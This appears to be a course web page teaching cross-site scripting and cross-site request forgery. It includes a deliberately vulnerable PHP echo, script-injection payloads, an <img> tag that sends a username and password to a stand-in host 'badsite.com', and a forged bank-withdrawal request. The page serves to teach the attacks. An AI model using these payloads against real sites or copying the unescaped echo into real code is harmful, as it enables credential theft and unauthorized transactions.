XSS Examples

PHP Example

The following PHP code is vulnerable to XSS attack via the 'name' parameter.

<?php
$name = $_REQUEST ['name'];
?>
<html><body>Hello, <?php echo $name; ?>!</body></html>

An attacker could send a request such as the following:

http://virtual0.cs.missouri.edu/dumb.php?name=%3Cscript%3Ealert%2842%29;%3C/script%3E

The name parameter is echoed back to the browser, which runs the JavaScript. This demonstrates that the browser trusts that the JavaScript originated from the server, but really an attacker wrote it!

Any server-side code can make this mistake (not just PHP), but it is especially easy (and common) in PHP, since PHP code is responsible for everything delivered to the client.

Here's a working example:


Chrome will prevent this attack, but other browsers won't.

AJAX Example

Some browsers will not necessarily execute JavaScript in <script> tags when they are added to the DOM.  For example, Firefox and Chrome will not run any JavaScript within responseText:

container.innerHTML = req.responseText;

...because setting innerHTML never triggers the execution of scripts.  Strangely, if the responseText contains a <script> tag, the tag will be added to the DOM, but it will not be run.  This affords you a bit of safety, since you don't have to worry about req.responseText containing malicious <script> tags.  However, you do need to worry about any other HTML tag with JavaScript events or JavaScript URLs.  For example, if the responseText contains either of the following HTML fragments, setting innerHTML will constitute an XSS attack:

<img src="http://www.google.com/logos/veteransday09.gif" onload="window.location='http://google.com">
<a href="javascript:alert('gotcha');">click me!</a>

In the first example above, the responseText contains an <img> tag with a bit of JavaScript associated with the image's onLoad event. This means that the JavaScript will run after the image is loaded, even though there is no <script> tag! In the second example, a harmless looking link is added to the DOM; if the user clicks the link, a bit of JavaScript is run.

Stealing Your Data

A malicious cross-site script can steal any information on the page, in the DOM, or in the site's cookies.  For example, if your username and password are stored in the browser as a cookie, a malicious script could read them and send them to a third-party malicious server.  This is quite easy; an <img> tag will do nicely:

<img src="http://badsite.com/gotcha?username=ryanne&password=yeahright">

The cross-site script would not be able to make an AJAX request directly to badsite.com, but the Same-Origin Policy does not apply to <img> tags (or anything else).

XSRF Example

The "opposite" of an XSS attack is an XSRF attack. XSRF actually takes XSS one step further, and causes unauthorized actions on the server because of a compromised client. If your site is vulnerable to XSS, then it is easily exploited via XSRF, because a cross-site script could cause your browser to make unauthorized requests to a server. For example, if your bank's website was attacked, scripts in your browser might cause your money to be transfered somewhere else!

Unfortunately, XSRF is even more difficult to protect against, because JavaScript is not necessarily ever involved.  A simple <img> tag can be used to make an unauthorized request on your behalf:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Since the <img> tag might be embedded in HTML from bank.example.com, any of the site's cookies present in your browser will be sent along with the request for the image.  Even tho it is just a request for a harmless image, your password, username, session key, etc might be sent along with the request (since browsers send cookies with every request to the associated server).  At the server end, there is nothing to indicate that only an image is being requested, and the server might perform an action (withdraw money!).  No authorization from you is necessary, because your session information is included with the request (assuming you are logged in).

Sites that let you post images, including forums, eBay, myspace, etc are very susceptible to this attack.


Comments